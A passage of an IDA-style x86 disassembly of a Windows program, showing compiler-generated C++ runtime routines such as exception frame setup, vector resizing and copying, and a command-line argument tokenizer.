		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:0044653Co
					; ___:00446580o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
